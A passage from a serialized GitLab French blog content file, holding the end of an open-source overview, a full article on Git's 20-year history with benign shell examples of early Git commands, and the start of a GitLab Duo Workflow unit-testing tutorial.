doivent partager clairement leurs objectifs et échanger régulièrement avec leur communauté pour garantir la pérennité et le succès à long terme des projets open source.\n\n### Maintenir la sécurité des logiciels\n\nLes logiciels open source sont exposés à certains défis en matière de sécurité. La transparence du code, bien qu'étant l'un de leurs plus grands atouts, peut aussi les exposer à des attaques ciblées, ce qui peut devenir un risque majeur si l'entreprise à l’origine du projet open source ne corrige pas rapidement les failles identifiées. \n\nLes utilisateurs comptent ainsi sur la réactivité de l'entreprise pour garantir la sécurité de leurs systèmes et de leurs données. \n\n## GitLab : un partenaire incontournable pour les projets open source\n\nLes projets open source sont un moteur d'innovation technologique, et choisir la bonne plateforme pour les héberger est essentiel. Grâce à son système de gestion de versions basé sur [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ? \"), GitLab permet aux équipes de développement de collaborer efficacement, de suivre les modifications de code et de conserver un historique complet de leurs projets. \n\n### Une suite complète de fonctionnalités collaboratives\n\nGitLab met à disposition de ses utilisateurs une suite complète de fonctionnalités adaptées au développement et à la gestion de projets open source. Parmi ces fonctionnalités figurent le [suivi des tickets](https://docs.gitlab.com/ee/user/project/issues/ \"Tickets GitLab\"), les [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/ \"merge requests\"), la [revue de code](https://about.gitlab.com/fr-fr/topics/version-control/what-is-code-review/ \"Qu'est-ce qu'une revue de code ? \"), les [wikis](https://about.gitlab.com/fr-fr/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management/ \"GitLab Wiki\") et les [GitLab Pages](https://about.gitlab.com/fr-fr/blog/build-a-new-website-in-a-few-easy-steps-with-gitlab-pages/ \"GitLab Pages\"). Ces fonctionnalités permettent aux équipes de suivre l'évolution des projets, de collaborer, de proposer des améliorations, de corriger des bogues et de documenter leurs progrès en temps réel. \n\n### Des pratiques CI/CD au service des projets open source\n\nLes fonctionnalités [CI/CD](https://about.gitlab.com/fr-fr/blog/how-to-keep-up-with-ci-cd-best-practices/ \"Meilleures pratiques CI/CD\") de GitLab sont un atout majeur pour les projets open source. Elles automatisent des étapes clés du développement logiciel, comme les [tests](https://docs.gitlab.com/ee/ci/testing/), la validation du code et le déploiement de nouvelles versions, assurant ainsi une meilleure fiabilité des logiciels open source et un développement accéléré. Chaque contribution est automatiquement testée dans un environnement dédié, ce qui permet de détecter rapidement les erreurs et de corriger les bogues. Cela réduit les risques de défaillances tout en assurant la stabilité des projets. \n\n### Un cycle de développement logiciel sécurisé\n\nGitLab propose une suite complète de fonctionnalités conçues pour aider les développeurs de projets open source à sécuriser leurs logiciels. Parmi ces fonctionnalités, nous retrouvons :\n\n- __Le test statique de sécurité des applications ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/ \"SAST\"))__ qui examine le code source à la recherche de failles de sécurité en amont de la mise en service des logiciels. \n- __Le test dynamique de sécurité des applications ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/ \"DAST\"))__* qui teste les applications en cours d'exécution au sein d’un environnement déployé pour détecter d'éventuelles vulnérabilités encore non repérées. \n- __L'[analyse des dépendances](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/ \"Analyse des dépendances\")__* qui envoie des alertes sur les bibliothèques obsolètes ou vulnérables. Des rapports détaillés sont générés à chaque étape du développement, offrant une visibilité claire sur l'état de la sécurité du projet. Grâce à cela, les développeurs peuvent rapidement éviter ou corriger les composants à risque.\n\n** Fonctionnalité disponible uniquement pour les utilisateurs de GitLab Ultimate.*\n\nEn intégrant ces fonctionnalités directement dans le [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Pipeline CI/CD\"), GitLab réduit le risque d'erreurs humaines et accélère l’identification et la correction des vulnérabilités. Cette approche permet ainsi aux développeurs de projets open source de maintenir un niveau élevé de sécurité tout au long du cycle du développement logiciel. \n\n### Une gestion de projet Agile\n\nGitLab met à disposition des équipes de développement un certain nombre de fonctionnalités pour faciliter la gestion des projets open source comme les [tableaux de tickets](https://docs.gitlab.com/ee/user/project/issue_board.html \"Tableaux de tickets\"), les [listes des jalons](https://docs.gitlab.com/ee/user/project/milestones/ \"Listes des jalons\") ou encore le [suivi du temps](https://docs.gitlab.com/ee/user/project/time_tracking.html \"Suivi du temps\"). Ces dernières permettent de voir facilement les tâches à réaliser, de suivre l'avancement des projets en fixant des échéances claires, mais aussi d’évaluer la charge de travail en vue d'optimiser l'utilisation des ressources. En combinant ces fonctionnalités, GitLab permet aux équipes de mieux coordonner leurs efforts, de maintenir un processus de travail fluide et de progresser efficacement dans la réalisation de leurs projets open source.\n\n### Des contributions simplifiées\n\nLes équipes de développement peuvent facilement contribuer au développement de projets open source en les dupliquant ([fork](https://docs.gitlab.com/ee/user/project/repository/forking_workflow.html \"fork\")) et en créant des merge requests. Elles peuvent créer leurs propres copies du code, travailler sur des améliorations ou des correctifs dans des branches distinctes, puis soumettre leurs changements via des merge requests. Ce processus permet aux équipes de réviser et de valider chaque modification avant son intégration dans la branche principale, favorisant ainsi une amélioration continue des logiciels, tout en renforçant la qualité et la stabilité du code.\n\n### Une intégration facilité avec d’autres outils\n\nGitLab facilite considérablement son intégration avec d’autres outils et workflows , permettant aux équipes de développement de créer un environnement personnalisé en fonction des exigences spécifiques de leur projet. Pour en savoir plus, [consultez notre documentation](https://docs.gitlab.com/ee/api/). \n\n## Développez des logiciels open source avec GitLab \n\nL’open source continue de s'imposer dans le monde du développement logiciel. Avec des plateformes [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\") comme GitLab, les équipes de développement disposent de tous les outils et ressources nécessaires au bon développement de leurs logiciels open source.\n\nEn plus d’aider les entreprises à développer des logiciels performants et sécurisés, GitLab fait évoluer continuellement sa plateforme grâce aux contributions et aux retours de ses utilisateurs. En écoutant sa communauté en permanence, GitLab s'adapte aux transformations du développement logiciel, renforçant ainsi sa présence au sein de l'écosystème open source.\n\n> [\nEssayez GitLab Ultimate gratuitement](https://about.gitlab.com/fr-fr/free-trial/devsecops/ \"Essai gratuit de GitLab Ultimate\") et commencez à développer des logiciels open source dès aujourd'hui.",[913,1420,784],"DevOps",{"slug":1422,"featured":6,"template":683},"what-is-open-source","content:fr-fr:blog:what-is-open-source.yml","What Is Open Source","fr-fr/blog/what-is-open-source.yml","fr-fr/blog/what-is-open-source",{"_path":1428,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1429,"content":1435,"config":1441,"_id":1443,"_type":16,"title":1444,"_source":17,"_file":1445,"_stem":1446,"_extension":20},"/fr-fr/blog/journey-through-gits-20-year-history",{"title":1430,"description":1431,"ogTitle":1430,"ogDescription":1431,"noIndex":6,"ogImage":1432,"ogUrl":1433,"ogSiteName":841,"ogType":842,"canonicalUrls":1433,"schema":1434},"Git : 20 ans d'histoire","Revivez les débuts du projet Git, avec le tout premier commit, découvrez les particularités des premières versions et replongez dans la confusion qu'a provoquée le changement du comportement par défaut de git-push(1).","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097380/Blog/Hero%20Images/Blog/Hero%20Images/git-20-years-opt2_TWNsNk8KH43b3jP0KLD0U_1750097380123.png","https://about.gitlab.com/blog/journey-through-gits-20-year-history","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git : 20 ans d'histoire\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick Steinhardt\"}],\n        \"datePublished\": \"2025-04-14\",\n      }\n                  ",{"title":1430,"description":1431,"authors":1436,"heroImage":1432,"date":1438,"body":1439,"category":928,"tags":1440,"updatedDate":1355},[1437],"Patrick Steinhardt","2025-04-14","Le projet [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ? \") vient de fêter ses 20 ans et depuis, bien des choses ont changé : si le design conceptuel de Git est resté globalement le même, la manière dont les utilisateurs s'en servent, elle, a considérablement évolué. Git est au cœur de notre travail chez GitLab et nous sommes fiers d'être liés à son histoire.\n\nRemontez le temps avec nous pour retracer les grandes étapes de son évolution.\n\n## Le premier commit\n\nLe premier commit a été effectué le 7 avril 2005 par Linus Torvalds, le créateur du noyau Linux : `e83c5163316 (Initial revision of \"git\", the information manager from hell, 2005-04-07)`.\n\nComme vous pouvez le constater, ce commit ne contient pas beaucoup de fichiers :\n\n```shell\n$ git ls-tree e83c5163316\n100644 blob a6bba79ba1f46a1bbf7773449c3bd2bb9bf48e8b\tMakefile\n100644 blob 27577f76849c09d3405397244eb3d8ae1d11b0f3\tREADME\n100644 blob 98a32a9ad39883c6d05a000a68511d4b1ee2b3c7\tcache.h\n100644 blob 74a0a234dd346fff51c773aa57d82fc4b83a8557\tcat-file.c\n100644 blob 840307af0cfaab31555795ce7175d5e9c9f981a0\tcommit-tree.c\n100644 blob 25dc13fe101b219f74007f3194b787dd99e863da\tinit-db.c\n100644 blob c924a6e0fc4c36bad6f23cb87ee59518c771f936\tread-cache.c\n100644 blob 1b47742d8cbc0d98903777758b7b519980e7499e\tread-tree.c\n100644 blob b8522886a15db861508fb6d03d4d88d6de912a4b\tshow-diff.c\n100644 blob 5085a5cb53ee52e1886ff6d46c609bdb2fc6d6cd\tupdate-cache.c\n100644 blob 921f981353229db0c56103a52609d35aff16f41b\twrite-tree.c\n```\n\nOutre l'infrastructure de compilation, le premier commit fournit sept commandes principales :\n\n- `init-db` pour initialiser un nouveau dépôt Git\n- `update-cache` pour ajouter des fichiers à l'index\n- `write-tree` pour créer un nouvel arbre à partir des éléments de l'index\n- `read-tree` pour lire un objet arbre\n- `commit-tree` pour créer un commit à partir d'un arbre\n- `cat-file` pour lire un objet spécifique dans un fichier temporaire\n\nNotez que la commande `git` n'existait pas encore à ce moment-là. Il fallait dès lors les exécuter directement.\n\nPour vous montrer un exemple concret, créons un nouveau dépôt :\n\n```shell\n$ mkdir repo\n$ cd repo\n$ init-db\ndefaulting to private storage area\n$ ls -a\n.  ..  .dircache\n```\n\nCela peut surprendre : il n'y a pas de répertoire `.git`, mais un répertoire `.dircache`. Ce dernier représentait une zone de stockage privée. \n\nGit distinguait alors deux types d'espaces de stockage des objets : un espace « privé » et un espace « partagé ». Ceux-ci regroupaient tous vos objets Git : vos commits et vos blobs, par exemple.\n\nPar défaut, `init-db` créait un espace de stockage des objets privé qui n'était utilisé que pour le répertoire géré dans lequel il avait été créé. L'espace de stockage des objets « partagé », quant à lui, permettait de centraliser les objets communs à plusieurs répertoires, ce qui évitait d'avoir à les stocker deux fois.\n\n### Créer un commit\n\nNous disposons maintenant d'un dépôt, mais comment procéder pour créer un commit ? Autant vous dire que ce n'est pas aussi simple qu'avec la commande actuelle `git add . && git commit`. À l'époque, vous deviez :\n\n1. Mettre à jour l'index en appelant `update-cache` pour chaque fichier que vous souhaitiez ajouter. \n2. Écrire un nouvel arbre en appelant `write-tree` pour prendre le contenu que vous aviez\n   ajouté à l'index.\n3. Configurer les variables d'environnement pour indiquer à Git que vous en étiez l'auteur.\n4. Créer un objet de commit en appelant `commit-tree`.\n\nCréons un commit dans le dépôt pour illustrer ce processus :\n\n```shell\n$ echo content-1 >file-a\n$ update-cache file-a\n$ echo content-2 >file-b\n$ update-cache file-b\n$ write-tree\n3f143dfb48f2d84936626e2e5402e1f10c2050fb\n$ export COMMITTER_NAME=\"Patrick Steinhardt\"\n$ export COMMITER_EMAIL=ps@pks.im\n$ echo \"commit message\" | commit-tree 3f143dfb48f2d84936626e2e5402e1f10c2050fb\nCommitting initial tree 3f143dfb48f2d84936626e2e5402e1f10c2050fb\n5f8e928066c03cebe5fd0a0cc1b93d058155b969\n```\n\nCertes, ce processus n'est pas très pratique, mais il fonctionne ! Découvrons maintenant le commit généré :\n\n```shell\n$ cat-file 5f8e928066c03cebe5fd0a0cc1b93d058155b969\ntemp_git_file_rlTXtE: commit\n$ cat temp_git_file_rlTXtE\ntree 3f143dfb48f2d84936626e2e5402e1f10c2050fb\nauthor Patrick Steinhardt \u003Cps@pks.im> Wed Mar 26 13:10:16 2025\ncommitter Patrick Steinhardt \u003Cps@pks.im> Wed Mar 26 13:10:16 2025\n\ncommit message\n```\n\nNotez que `cat-file` n'a pas affiché le contenu directement, mais l'a d'abord écrit\ndans un fichier temporaire. Toutefois, le contenu du fichier ressemblait déjà en tous points à\ncelui des commits actuels.\n\n### Apporter des modifications\n\nMaintenant que nous avons des fichiers, comment pouvons-nous obtenir leur statut ? Vous l'aviez peut-être deviné, en utilisant `show-diff` :\n\n```shell\n$ show-diff\nfile-a: ok\nfile-b: ok\n\n$ echo modified-content >file-a\n$ show-diff\n--- -\t2025-03-26 13:14:53.457611094 +0100\n+++ file-a\t2025-03-26 13:14:52.230085756 +0100\n@@ -1 +1 @@\n-content-1\n+modified-content\nfile-a:  46d8be14cdec97aac6a769fdbce4db340e888bf8\nfile-b: ok\n```\n\nÉtonnamment, la commande `show-diff` permettait déjà de générer des diffs entre l'ancien et le nouvel état des fichiers modifiés ! Et pour l'anecdote, Git accomplissait cette tâche en exécutant simplement l'outil Unix diff(1).\n\nEn somme, tout était encore rudimentaire, mais suffisant pour assurer le suivi de l'historique. À ce stade, Git était encore très limité :\n\n- Il était impossible de passer facilement d'un commit à un autre.\n- Il était impossible d'afficher les logs.\n- Il n'y avait pas de branches, de tags ou même de références. Les utilisateurs devaient manuellement conserver une trace des ID d'objet.\n- Il était impossible de synchroniser deux dépôts. Par conséquent,\n  les utilisateurs devaient utiliser rsync(1) pour synchroniser les répertoires `.dircache`.\n- Il était impossible de fusionner des modifications.\n\n## Git 0.99\n\nLa version 0.99 de Git a été la première à entrer en phase de test. Celle-ci a été publiée seulement deux mois après le commit initial, mais contenait déjà 1 076 commits. Près de 50 développeurs différents ont participé à son développement. À ce stade, Linus Torvalds était encore le principal contributeur, talonné de près par Junio Hamano, qui est aujourd'hui le chargé de maintenance.\n\nDe nombreuses améliorations avaient été mises en place depuis le premier commit :\n\n- Git avait commencé à suivre différentes branches de développement à l'aide de références, ce qui, dans la grande majorité des cas, dispensait les utilisateurs de suivre les ID d'objets manuellement.\n- Un nouveau protocole distant permettait désormais à deux dépôts d'échanger\n  des objets entre eux.\n- Le répertoire `.dircache` avait été renommé `.git`.\n- Il était désormais possible de fusionner des fichiers uniques entre eux.\n\nMais le changement le plus marquant a sans doute été l'arrivée de\nla commande principale `git` et de ses nombreuses sous-commandes. C'est aussi à cette occasion\nqu'est née la distinction entre les commandes dites de « plomberie » (plumbing) et de « porcelaine » (porcelain) :\n\n- Les outils de « plomberie » sont les commandes de bas niveau qui accèdent au dépôt Git\n sous-jacent.\n- Les outils de « porcelaine » sont des scripts shell qui encapsulent les commandes de « plomberie » pour fournir une interface utilisateur plus conviviale et performante.\n\nCette distinction existe encore aujourd'hui, comme expliqué dans\n[`git(1)`](https://git-scm.com/docs/git/fr#_commandes_de_haut_niveau_porcelaine), mais avec\nla réécriture en C de nombreuses commandes de « porcelaine » initialement en shell, la frontière entre ces deux catégories a commencé à s'estomper significativement.\n\n## Linus Torvalds passe la main\n\nLinus Torvalds n'a jamais créé Git par passion pour les systèmes de [contrôle de version](https://about.gitlab.com/fr-fr/topics/version-control/ \"Qu'est-ce que le contrôle de version\"), mais parce qu'il était nécessaire de remplacer BitKeeper pour le développement du noyau Linux. Dès le départ, il n'avait pas l'intention d'en assurer la maintenance indéfiniment, mais juste le temps de trouver quelqu'un de confiance pour reprendre le flambeau. \n\nEt cette personne fut Junio Hamano. Junio a rejoint Git une semaine à peine après le premier  commit de Linus Torvalds et comptait déjà plusieurs centaines de commits dans l'historique au moment de la sortie de la version 0.99. Ainsi, le 26 juillet 2005, [Linus Torvalds l'a désigné comme nouveau chargé de maintenance du projet Git](https://lore.kernel.org/git/Pine.LNX.4.58.0507262004320.3227@g5.osdl.org/). Même si Linus Torvalds a continué à contribuer à Git, son implication s'est progressivement réduite, ce qui n'a rien de surprenant, vu ses responsabilités à la tête du projet Linux. \n\nA ce jour, Junio Hamano dirige toujours le projet Git. \n\n## Git 1.0\n\nLa première version majeure de Git est sortie le 21 décembre 2005 par Junio Hamano. Fait intéressant : pas moins de 34 nouvelles versions ont été publiées entre la version 0.99 et la version 1.0 : 0.99.1 à 0.99.7, 0.99.7a à 0.99.7d, 0.99.8 à 0.99.8g, et 0.99.9 jusqu'à 0.99.9n.\n\nParmi les évolutions majeures depuis la version 0.99, l'une des plus importantes a sans doute été l'introduction de la commande `git-merge(1)` pour fusionner deux arbres. Un changement radical par rapport à la version précédente, dans laquelle chaque merge devait être effectuée manuellement, fichier par fichier.\n\n### Dépôts distants\n\nUn autre changement majeur a été l'introduction de la notation abrégée pour\nles dépôts distants. Git savait déjà communiquer avec eux, mais jusque-là,\nles utilisateurs devaient entrer l'URL complète à chaque\nrécupération de modifications. Ce processus était plutôt contraignant, car dans la grande majorité des cas, les utilisateurs interagissaient toujours avec le même dépôt distant. \n\nAujourd'hui, vous connaissez probablement le fonctionnement des dépôts distants,\nmais à l'époque, le mécanisme était encore très différent. Il n'existait pas de commande `git-remote(1)`  \npour les gérer. Ils n'étaient même pas stockés  \ndans votre fichier`.git/config` file. À vrai dire, lorsque les dépôts distants ont fait leur apparition dans\nla version 0.99.2, Git ne *disposait* même pas encore de fichiers de configuration. \n\nPour les configurer, il fallait créer un fichier dans le\nrépertoire `.git/branches`, un mécanisme qui semble aujourd'hui plutôt contre-intuitif. Mais  \nil fonctionne encore aujourd'hui :\n\n```shell\n$ git init repo --\nInitialized empty Git repository in /tmp/repo/.git/\n$ cd repo\n$ mkdir .git/branches\n$ echo https://gitlab.com/git-scm/git.git >.git/branches/origin\n$ git fetch origin refs/heads/master\n```\n\nEt ce n'est pas tout ! Le répertoire a été renommé en « dépôts distants » dès la version 0.99.5 de Git. Aujourd'hui, il existe donc trois méthodes distinctes pour configurer des dépôts distants dans un client Git actuel. \n\nMais soyons honnêtes : la plupart d'entre vous n'ont sans doute jamais eu à utiliser `.git/branches` ni `.git/remotes`,\ndeux mécanismes devenus obsolètes en 2005 et 2011,\nrespectivement. Ces répertoires seront d'ailleurs définitivement supprimés dans la version Git 3.0.\n\n## Image de marque de Git\n\nEn 2007, Git créé son premier logo. Le terme « logo » est peut-être un peu excessif : il ne s'agissait en réalité que de trois signes moins rouges au-dessus de trois signes plus verts, une référence visuelle directement inspirée de la sortie de `git diff` :\n\n![trois signes moins rouges au-dessus de trois signes plus verts, référence visuelle inspirée de la sortie de `git diff`](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097388/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097387927.png)\n\nLe site web [git-scm.com](https://git-scm.com) voit quant à lui le jour en 2008 :\n\n![page de destination pour git-scm.com en 2006](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097388/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097387930.png)\n\nEn 2012, le site web de Git est [remanié](https://lore.kernel.org/git/CAP2yMaJy=1c3b4F72h6jL_454+0ydEQNXYiC6E-ZeQQgE0PcVA@mail.gmail.com/) par Scott Chacon et Jason Long et son design ne changera que très peu par la suite :\n\n![site web git remanié en 2012](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097388/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097387932.png)\n\nCette refonte du site arbore le nouveau logo rouge-orange conçu par Jason Long, qui est encore utilisé aujourd'hui :\n\n![logo git](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097388/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097387934.png)\n\n## Git 2.0\n\nDès la version 1.0, Git ressemblait déjà fortement à la version d'aujourd'hui,\nc'est pourquoi nous allons faire un grand saut dans le temps et passer directement à une autre étape clé de son histoire : Git 2.0. Publiée environ dix ans après Git 1.0,\ncette version a été la première à\nintroduire délibérément des changements non compatibles avec les versions précédentes dans les workflows principaux.\n\n### Comportement par défaut de `git-push(1)`\n\nLe changement le plus déroutant de cette version a sans doute été\nl'ajustement du comportement par défaut de la commande  `git-push(1)`.\n\nSi vous réalisiez un push dans un dépôt distant sans en indiquer explicitement l'objet,\nGit pouvait réagir de plusieurs façons :\n\n- Refuser d'agir et vous inviter à préciser l'objet de votre push.\n- Effectuer un push de la branche actuellement extraite.\n- Effectuer un push de la branche actuellement extraite, mais uniquement s'il détectait une branche correspondante dans le dépôt distant.\n- Effectuer un push de toutes vos branches disposant d'un équivalent dans le dépôt distant.\n\nAujourd’hui, le comportement par défaut de Git suit la stratégie dite « simple », c'est-à-dire la\ntroisième option mentionnée ci-dessus. Mais avant Git 2.0, le comportement par défaut était la stratégie de « correspondance », soit la dernière option.\n\nLa stratégie de « correspondance » était nettement plus risquée. Avant le push, vous deviez toujours vous assurer que vous vouliez vraiment effectuer un push de toutes vos branches locales disposant d'un équivalent dans le dépôt distant. Dans le cas contraire, vous risquiez d'envoyer des modifications par erreur. C'est pourquoi Git a opté pour la stratégie dite « simple », afin de limiter les risques et de faciliter la prise en main pour les nouveaux utilisateurs.\n\n### `git-add(1)`\n\nLe comportement par défaut de `git-add(1)` vis-à-vis des fichiers supprimés\na lui aussi connu une évolution importante. Avant Git 2.0, la commande `git-add(1)` ne\nprenait pas en compte les fichiers supprimés : il fallait les ajouter manuellement\navec `git-rm(1)` pour qu'ils soient inclus dans un commit. À partir de la version 2.0, la commande `git-add(1)` détecte également les suppressions de fichiers et les ajoute à l’index.\n\n## La communauté Git à l'honneur\n\nNous n'allons pas entrer dans les détails du fonctionnement actuel de Git : vous l'utilisez probablement déjà au quotidien, et dans le cas contraire, de nombreux tutoriels existent pour bien débuter. Prenons plutôt un moment pour célébrer et remercier la communauté Git, qui a permis à ce système de rester aussi performant après deux décennies.\n\nAu fil du temps, Git a :\n\n- Accumulé 56 721 commits depuis [Git 2.49.0](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-49-0/ \"Git 2.49.0\")\n- Reçu des contributions de plus de 2 000 personnes différentes.\n- Publié 60 nouvelles versions majeures.\n\nLe projet Git continue aussi de se renouveler grâce à l'arrivée régulière de nouveaux contributeurs, notamment par le biais des programmes [Google Summer of Code](https://summerofcode.withgoogle.com/) et [Outreachy](https://www.outreachy.org/). Ce sont eux qui assurent la pérennité du projet Git. \n\n## L'avenir de Git\n\nGit s'est clairement imposé comme le grand gagnant dans la course aux systèmes de contrôle de version. Il domine largement le marché et il est rare aujourd'hui de voir un projet [open source](https://about.gitlab.com/fr-fr/blog/what-is-open-source/ \"Qu'est-ce que l'open source ?\") qui n'utilise pas Git. C'est bien la preuve que Git a su faire les bons choix.\n\nCela dit, le développement de Git est loin d'être terminé et de nombreux défis restent à relever. Sur le plan technique :\n- la modernisation d'un code base vieillissant  \n- la mise à l'échelle face à la croissance continue des monorepos  \n- la gestion plus efficace des fichiers binaires volumineux\n\nSur le plan communautaire :\n- l'amélioration de la convivialité de Git  \n- la promotion de la communauté Git pour garantir la pérennité du\nprojet\n\nLe travail ne s'arrête pas là et chez GitLab, nous sommes fiers de contribuer activement à faire en sorte que Git reste un système de contrôle de version de référence pour les vingt années à venir.\n\n## En savoir plus sur Git\n\n- [Git fête ses 20 ans : entretien avec son créateur Linus Torvalds](https://about.gitlab.com/fr-fr/blog/celebrating-gits-20th-anniversary-with-creator-linus-torvalds/) \n- [Format reftable de Git : guide pour les débutants](https://about.gitlab.com/fr-fr/blog/a-beginners-guide-to-the-git-reftable-format/)\n- [Git fetch vs git pull : quelle est la différence entre ces deux commandes Git ?](https://about.gitlab.com/fr-fr/blog/git-pull-vs-git-fetch-whats-the-difference/ \"Git fetch vs git pull \")\n- [Commits Git : comment et pourquoi maintenir un historique propre](https://about.gitlab.com/fr-fr/blog/keeping-git-commit-history-clean/ \"Commits Git\") \n- [Git en ligne de commande sous Windows avec Git Bash](https://about.gitlab.com/fr-fr/blog/git-bash/ \"Git Bash\")  \n- [Améliorez votre workflow avec Git rebase](https://about.gitlab.com/fr-fr/blog/take-advantage-of-git-rebase/ \"Git rebase\")\n",[913,1047],{"slug":1442,"featured":92,"template":683},"journey-through-gits-20-year-history","content:fr-fr:blog:journey-through-gits-20-year-history.yml","Journey Through Gits 20 Year History","fr-fr/blog/journey-through-gits-20-year-history.yml","fr-fr/blog/journey-through-gits-20-year-history",{"_path":1448,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1449,"content":1455,"config":1461,"_id":1463,"_type":16,"title":1464,"_source":17,"_file":1465,"_stem":1466,"_extension":20},"/fr-fr/blog/use-gitlab-duo-workflow-to-improve-application-quality-assurance",{"title":1450,"description":1451,"ogTitle":1450,"ogDescription":1451,"noIndex":6,"ogImage":1452,"ogUrl":1453,"ogSiteName":841,"ogType":842,"canonicalUrls":1453,"schema":1454},"GitLab Duo Workflow : améliorez l'assurance qualité de vos applications ","Découvrez étape par étape comment ajouter des tests unitaires à une application Java à l'aide de l'IA agentique.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097617/Blog/Hero%20Images/Blog/Hero%20Images/Workflow%201800x945_2gQoQIbY9NvjLFpXtsxtXy_1750097616649.png","https://about.gitlab.com/blog/use-gitlab-duo-workflow-to-improve-application-quality-assurance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Workflow : améliorez l'assurance qualité de vos applications \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2025-04-10\",\n      }\n                  ",{"title":1450,"description":1451,"authors":1456,"heroImage":1452,"date":1457,"body":1458,"category":697,"tags":1459,"updatedDate":1460},[969],"2025-04-10","Garantir la qualité de vos applications en vous appuyant sur une approche de conception pilotée par les tests, une bonne couverture de code et une détection précoce des anomalies est essentiel pour vos clients et pour votre réputation. Pourtant, ces processus peuvent rapidement devenir chronophages. Avec [GitLab Duo Workflow](https://about.gitlab.com/fr-fr/gitlab-duo/agent-platform/), l'IA agentique développée sur la plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ? \") la plus complète, vous pouvez réaliser rapidement des tâches clés au cours de votre cycle de développement logiciel. Découvrez dans ce tutoriel comment ajouter des tests unitaires à une application Java sur la base de ce [projet Java](https://gitlab.com/gitlab-da/playground/csaavedra/gdw/prodmgr-gdw) qui nous servira d'exemple.\n\n> GitLab Duo Workflow est actuellement proposé en version bêta privée. Inscrivez-vous sur la [liste d'attente](https://about.gitlab.com/fr-fr/gitlab-duo/agent-platform/) pour découvrir ce qu'il est possible de faire avec des agents d'IA qui comprennent l'ensemble de votre cycle de développement logiciel.\n\n## Ouverture de votre projet dans VS Code\n\n1. Commencez par cloner votre projet Java sur votre ordinateur local, puis ouvrez-le dans Visual Studio Code. Assurez-vous d'utiliser une branche de fonctionnalité (et non pas la branche principale ou par défaut). Si vous travaillez déjà sur une merge request, celle-ci doit être associée à sa propre branche de fonctionnalité.\n\n2. (Étape facultative.) Accédez au fichier contenant la classe Java pour laquelle vous souhaitez que GitLab Duo Workflow crée des tests unitaires. Inspectez-le afin de pouvoir confirmer ultérieurement que les tests unitaires générés couvrent bien les éléments de cette classe. Voici ce que vous verrez :\n\n![Fichier qui définit la classe Java pour laquelle vous souhaitez que GitLab Duo Workflow crée des tests unitaires](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097627/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097627482.png)\n\n**Remarque** : ce tutoriel suppose que vous avez déjà installé l'extension GitLab Duo Workflow et que vous l'avez activée dans votre VS Code. Si ce n'est pas le cas, veuillez vous référer à la [documentation d'installation](https://docs.gitlab.com/user/duo_workflow/#use-workflow-in-vs-code).\n\n3. Lancez GitLab Duo Workflow en ouvrant la palette de commandes de VS Code [Ctrl + Shift + P]. Saisissez « GitLab Duo Workflow », puis sélectionnez **GitLab : afficher GitLab Duo Workflow**. Un onglet apparaîtra alors, comme suit :\n\n![Lancement de GitLab Duo Workflow avec VS Code](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097628/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097627483.png)\n\n4. L'étape suivante consiste à ajouter des tests pour tester le constructeur par défaut, vérifier la création de l'objet et tester l'état initial des propriétés de la classe « Product » Java. Pour ce faire, saisissez le prompt suivant dans la zone de texte de GitLab Duo Workflow :\n\n```unset\nCreate unit tests for class defined in the Product.java file and store the unit tests in its own file titled ProductTest.java\n```\n\n![Zone du prompt dans GitLab Duo Workflow](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097628/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097627484.png)\n\n5. Cliquez sur le bouton **Démarrer** dans la fenêtre GitLab Duo Workflow. Deux nouvelles fenêtres apparaissent alors : une au centre de l'écran et une à droite. Celle de droite affiche l'analyse que GitLab Duo Workflow a effectuée pour proposer un plan d'action qui permettra d'atteindre l'objectif spécifié dans votre prompt. Le plan d'action détaillé est affiché dans la fenêtre centrale. Une fois l'analyse terminée et le plan d'action élaboré, vous obtenez les données de sortie suivantes :\n\n![Analyse et plan d'action générés par GitLab Duo Workflow](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097627/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097627486.png)\n\n6. Si l'analyse et le plan d'action vous conviennent, cliquez sur **Approuver le plan** en bas de la fenêtre.\n\n7. Une fois votre plan d'action approuvé, GitLab Duo Workflow exécute les modifications nécessaires dans votre projet.\n\n8. Vous voyez alors s'afficher un nouveau répertoire `src/test/java/csaa/jspring/ProductManager` contenant un nouveau fichier nommé `ProductTest.java`, lequel regroupe tous les tests unitaires pour la classe `Product.java`.\n\n![Nouveau répertoire dans le projet avec un nouveau nom de fichier 